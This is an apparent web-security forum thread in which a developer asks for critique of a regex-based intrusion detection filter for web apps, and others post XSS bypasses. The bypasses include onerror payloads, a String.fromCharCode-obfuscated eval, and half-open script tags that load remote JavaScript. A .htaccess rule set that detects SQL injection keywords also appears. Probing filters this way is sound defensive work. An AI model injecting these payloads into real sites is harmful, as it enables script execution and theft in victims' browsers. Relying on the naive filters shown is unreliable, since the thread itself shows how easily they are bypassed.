Hi!

I am currently creating a webapp IDS which should be capable to detect incoming parameters as malicious and react in certain kind of ways - depending on the parameter, it's severity etc. The IDS is not supposed to strip - just to recognize and log/warn the attempting user.

I have created a filter set and I would be happy to hear your opinion on that. First of all - this is the current full filter string:

(["|'][\s]*\>)|(["|'][\s]*\<)|(\+A[\w]{2}-)|(&#[\w]+)|(\\[\w]{3})|(("|')[\s]*(\)|\}))|((\(|\{)[\s]*("|'))|(%[\w]{2})|(\.\.\/\.\.)|(=\/\/)|(¼\/)|(@import|;base64|alert\()|(>[\w]=\/)|((\?\<)|(\)\>))

Here's some explanation:

(["|'][\s]*\>) //finds html breaking injections including whitespace attacks
(["|'][\s]*\<) //finds attribute breaking injections including whitespace attacks
(\+A[\w]{2}-) //finds utf7 attacks in general
(&#[\w]+) //detects all entitites including the bizarro IE US-ASCII entitites
(\\[\w]{3}) //detects the IE hex entities
(("|')[\s]*(\)|\})) //finds closing javascript breaker including whitespace attacks
((\(|\{)[\s]*("|')) //finds opening javascript breaker including whitespace attacks
(\.\.\/\.\.) //detects basic directory traversal
(%[\w]{2}) //detects urlencoded attacks
(=\/\/) //detects protocol relative url inclusions
(¼\/) //detects US-ASCII HTML breaking code
(@import|;base64|alert\() //detects imported poisoned stylesheets, base64 attacks and all alerts
(>[\w]=\/) //detects malformed attribute utilizing script includes
((\?\<)|(\)\>)) //detects nullparam and numeric includes


What do you think?

Greetings,
.mario



Edited 24 time(s). Last edit at 01/09/2011 10:38AM by .mario.

It's just not that easy:

<IMG SRC="$user_input" ALT="IMG">

My input:

" onerror=alert("XSS") a="

- RSnake
Gotta love it. http://ha.ckers.org

Thanx.

Your case would be caught by (@import|;base64|alert\() and ((\(|\{)[\s]*("|'))

Verified that with http://www.projects.aphexcreations.net/rejax/



Edited 1 time(s). Last edit at 03/14/2007 10:31AM by .mario.

Ugh... whatever... this gets by it. I was lazy, but trust me, it's easy to circumvent that filter:

<IMG SRC="$user_input" ALT="IMG">


" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))" a="

- RSnake
Gotta love it. http://ha.ckers.org

I've done a similar thing for the reques URI's in a .htaccess maybe you haven't seen it:

.htaccess

Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\"|%22).*(\>|%3E|<|%3C).* [NC]
RewriteRule ^(.*)$ log.php [NC]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC]
RewriteRule ^(.*)$ log.php [NC]
RewriteCond %{QUERY_STRING} (javascript:).*(\;).* [NC]
RewriteRule ^(.*)$ log.php [NC]
RewriteCond %{QUERY_STRING} (\;|\'|\"|\%22).*(union|select|insert|drop|update|md5|benchmark|or|and|if).* [NC]
RewriteRule ^(.*)$ log.php [NC]
RewriteRule (,|;|<|>|'|`) /log.php [NC]


log.php

<?php
$r= $_SERVER['REQUEST_URI'];
$q= $_SERVER['QUERY_STRING'];
$i= $_SERVER['REMOTE_ADDR'];
$u= $_SERVER['HTTP_USER_AGENT'];
$mess = $r . ' | ' . $q . ' | ' . $i . ' | ' .$u;
mail("admin@site.com","bad request",$mess,"from:bot@site.com");
echo "Ugly!";
?>


Not 100% but a tough nut to crack, it works like a charm :)

Ok, you got me ;) I added ([\w]+[\s]*=[\s]*("|')) to detect possible event handlers in the incoming parameters.

The purpose of this filter is - just to make sure - to be the first tier in a row of filters. We are planning to use it as IDS only - the rest will be done by other tiers we already have and are pretty happy with (for now *g*) - besides other things the html purifier by AmbushCommander is used.

the concept is more or less to build an application which is also capable to give the attacker feedback that his attack has been noticed, logged and that sth really really bad will happen if the probing continues *g* (after a - i guess - pretty long learning phase. before that we will just log). So - we think - the IDS will learn with time going by.

I know that it is pretty impossible to write a filter that is capable of detecting <any> attack pattern (i followed the thread by SirNotAppearingOnThisForum) and i don't want to be this thread to be a similar arms race like the above mentioned one. Nevertheless i of course appreciate the feedback very much!

Here's the updated filter string:
(["|'][\s]*\>)|(["|'][\s]*\<)|(\+A[\w]{2}-)|(&#[\w]+)|(\\[\w]{3})|(("|')[\s]*(\)|\}))|((\(|\{)[\s]*("|'))|(%[\w]{2})|(\.\.\/\.\.)|(=\/\/)|(¼\/)|(@import|;base64|alert\()|(>[\w]=\/)|((\?\<)|(\)\>))|([\w]+[\s]*=[\s]*("|'))

So what do you think about the concept in general? Do you think the "social" component of warning an attacker via one tier of the filtering system will have positive impact on the applications overall security (and of course security reputation) or do you think such attempts are more or less honeypots for the guys who really know what the do and don't care for some script kiddie frightening measurements?

Best regards!
.mario

@jungsonn:

Yes - have seen them - i have your blog in my feeds. I like the sql injection filter - my version is still lacking of that part.

Do you use the filter yourself?

@mario - That did catch the first thing I tried. Unfortunately the first thing I tried was totally benign. So you'll probably end up with a whole lot of false positives:

<IMG SRC="http://ha.ckers.org/images/kcpimp.jpg">

@jungsonn - that filter (RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC]) will fall down for something as simple as the half open vector in Firefox:

<script src="//ha.ckers.org/"



Edited 1 time(s). Last edit at 03/14/2007 01:39PM by rsnake.

True RSnake, but only a handfull of people know this. Your'e one of them.

But that's a really small fix.

The only difference is: %22 or a space.
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E|%22) [NC]

uh... no... I mean that would fix that single variant, but it wouldn't stop someone from working around it:

<script/src=//ha.ckers.org/xss.js

- RSnake
Gotta love it. http://ha.ckers.org

@RSnake: False positives clearly when it comes to having users allowed to submit HTML - which is not the case at the moment - we are talking about rewritten IDs, dates, maybe a username, an email address or other address related user data.

I guess when using and expanding such a kind of filterset you also have to categorize the filter fragments and use them related to the type of incoming data. When monitoring usage of an id or a search form you can run all filters on that data - when monitoring the data submitted in a user's profile some filters should be removed or be less priorized.

I hope that there will be a smart way to evaluate a kind of categorization of the incoming data and the priorization of the filters - maybe tags would be a way but i have to run tests on that tomorrow.

Greetings and good n8,
.mario

Sure, if you want false positives though why bother with any sort of regex other than <|%3C|>|%3E|'|"|(|)|%27|%22|%28|%29|%00|¼|%BC etc...?

I mean if you don't want to allow that stuff then you should at least know when it's hitting your server. Maybe not blocking but definitely alerting... If you don't care about false positives, why not log anything suspicious and then write a parser to get rid of the junk later?

- RSnake
Gotta love it. http://ha.ckers.org

<script/src=//ha.ckers.org/xss.js

@RSnake Wow....that thing really works? :-||

It does in Firefox, sure.

- RSnake
Gotta love it. http://ha.ckers.org

Wowie... didn't know that, is this on the cheat sheet also?

Any other suggestions I must keep on eye on? maybe filtering for .js in this case.

But, I thought it to use it as a small protection, or small IDS. cause most people will try the first few then -if they are clever enough- will reside to the complex ones you gave. not 100% yet, but i'mm getting there :)

All the components of it are on the cheat sheet, but not that particular string, no. There are hundreds of varients of each vector, I only list them so people know why they work, not as the bible. But don't filter on .js, that's just ridiculously easy to get around:

<script/src=//ha.ckers.org/.j

Yes, it's some small amount of protection, but it's certainly not a panacea (nothing is in webappsec it seems).

- RSnake
Gotta love it. http://ha.ckers.org

It's amazing a browser will render this... that should be forbidden. ^_^

If I had a dollar for every time I heard someone say that the browser shouldn't render something I've written I'd be a very wealthy man. :) Honestly, that's a great compliment in a way. Creating something that humans think shouldn't work but computers do is an art form. It is amazing though.

- RSnake
Gotta love it. http://ha.ckers.org

Yeh, I'm more leaning to the browser developers these days because really... who need such things in it's URI ? Isn't it the case that browser vendors have the power to change all these issues? I never seen an URI with brackets in them like: index.php?page=>blaaah< blaaaah.

Could we do without these chars in the URI?

I think making a browser block the characters is a bit risky. Sure it would help, but it just may break a site. Is it really right for the browsers to force the users into something that's more restrictive than the technology states? Why not instead have an option server side to return a 500 error for any request with < or > in the URI. This way the server admin can make an informed decision (based on scripts he's hosting) as to be overly restrictive on that domain.

On the other hand, if user have the option to auto block are url with some characters in it, then it's fine. It's just that the idea of forcing users into something sounds bad to me.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

WhiteAcid Wrote:
-------------------------------------------------------
> I think making a browser block the characters is a
> bit risky. Sure it would help, but it just may
> break a site. Is it really right for the browsers
> to force the users into something that's more
> restrictive than the technology states? Why not
> instead have an option server side to return a 500
> error for any request with < or > in the URI. This
> way the server admin can make an informed decision
> (based on scripts he's hosting) as to be overly
> restrictive on that domain.
>
> On the other hand, if user have the option to auto
> block are url with some characters in it, then
> it's fine. It's just that the idea of forcing
> users into something sounds bad to me.


I agree. Next thing you know we are blocking everything and URLs have to be in proper format, etc. Regulating the clients is not the way to make sites more secure. You could send any custom request with any symbols in it so web servers need to know how to deal with them. Ultimately security should be up to the web server, not police forcing everyone only to send specific characters to the web sever or arresting them. Deregulation FTW.

Perhaps on the client side it's a good time to start again looking at things like this. With a look at the built-in anti-phishing tools in browsers, it could easily be opt-in as well as only give a warning, instead of blocking the site. Hopefully more people in the browser developer community understand the issues now and will actually care to look at something like this.

- Kyran

It could be a great option in browsers.

@Kyran, yes that would be a nice way.

I understand that it will thow up certain limits, but what I am trying to understand is: do sites use specialchars like brackets in URI's?

Maybe what Kyran said is a nice status quo: if brackets are detected the browser could throw an alert screen:

possible attack etc... blabla bla.. continue or shut this option down in your settings... bla bla.

Do you mean anglebrackets/chevons '<', or parentheses ()?
Either way, I think both do have some legitimate uses in the address field.
We would need virus heuristics-kinda guys working with the browser devs.
It's hard to distinguish between a legit request and XSS. Think about the large amount of attack vectors, encoding differences, etc.

- Kyran

Yeh I'm moving on thin ice here ^^, I meant "less/greater sign" though it sounds so akward and always call them brackets.

But let's view it a little different, I though about this;

the less/greater signs: < > which are send through the browser are encoded, and when it echoes into a vulnerable script it is decoded (not 100% correct, but forgive me on that).

So in the URI a: < becomes: %3C and in the script it's executed back as: <

Now on which point is this conversion being done while the browser sends the request? where the %3C becomes a < again in the vulnerable script? at the serverside language parser? or at the browser?

If it happens server-side there is almost no reason why PHP should convert the %3C back into a < printable less sign again, if it came along the URI that was send, or to put it a little better; it shoudn't convert it back if it's in the $GLOBALS.

Cause I really can't remember one single instance where I needed to have a printable < less sign in some $_POST or $_GET variable.

Or am I missing something?



Edited 1 time(s). Last edit at 03/17/2007 10:00PM by jungsonn.

Jungsonn, the server decodes the URL parameters. In case of PHP it happens automatically if you access $_GET['something']. But you can also access $_SERVER['REQUEST_URI'] or $_SERVER['PHP_SELF'] where the same data isn't decoded. And there are lots of web applications that have to process angled brackets properly, e.g. this forum - without them we wouldn't be able to post HTML code here.

But trev, if it's encoded, you can store it encoded into the database, and you still can still post HTML, because the forum shows the nonprintable chars: %3C you've send

So if you post HTML it's being encoded, well that's the whole point isn't it?

Why should it be decode back to printable chars serverside if it's in a posted array? Cause almost every GLOBAL var your need to encode anyway.



Edited 1 time(s). Last edit at 03/17/2007 10:05PM by jungsonn.

Ooops.. I need some sleep forgive me, I meant the &lt; conversion of < not the %3C.

But actually, it brought me to the same issue more or less. Yeh that's a tough one, I thought about it some time but that would require some content negotiation.

But can it be done like if %3C is inputted inside an URI to always convert it back to &lt; on the screen? like htmlentities does or htmlspecialchars. But only in every $_POST variable?

I'll go take a nap before I don't understand myself anymore ^^

You haven't seen URL's with < or > in them before? Hmmm... you should visit some math sites. ;) Also, some sides DO allow HTML to be entered into them, so you would risk breaking those sites as well if you implemented something like that globally. But it still might be worth it to get rid of the risk.

My feeling is it would have to be more intelligent than just looking for a few risky chars on the query string.

- RSnake
Gotta love it. http://ha.ckers.org

rsnake Wrote:
-------------------------------------------------------
> You haven't seen URL's with < or > in them before?
> Hmmm... you should visit some math sites. ;)
> Also, some sides DO allow HTML to be entered into
> them, so you would risk breaking those sites as
> well if you implemented something like that
> globally. But it still might be worth it to get
> rid of the risk.
>
> My feeling is it would have to be more intelligent
> than just looking for a few risky chars on the
> query string.


Kyran Wrote:
-------------------------------------------------------
> We would need virus heuristics-kinda guys working
> with the browser devs.
> It's hard to distinguish between a legit request
> and XSS. Think about the large amount of attack
> vectors, encoding differences, etc.

Yup. It would need to be smart. Very smart.

- Kyran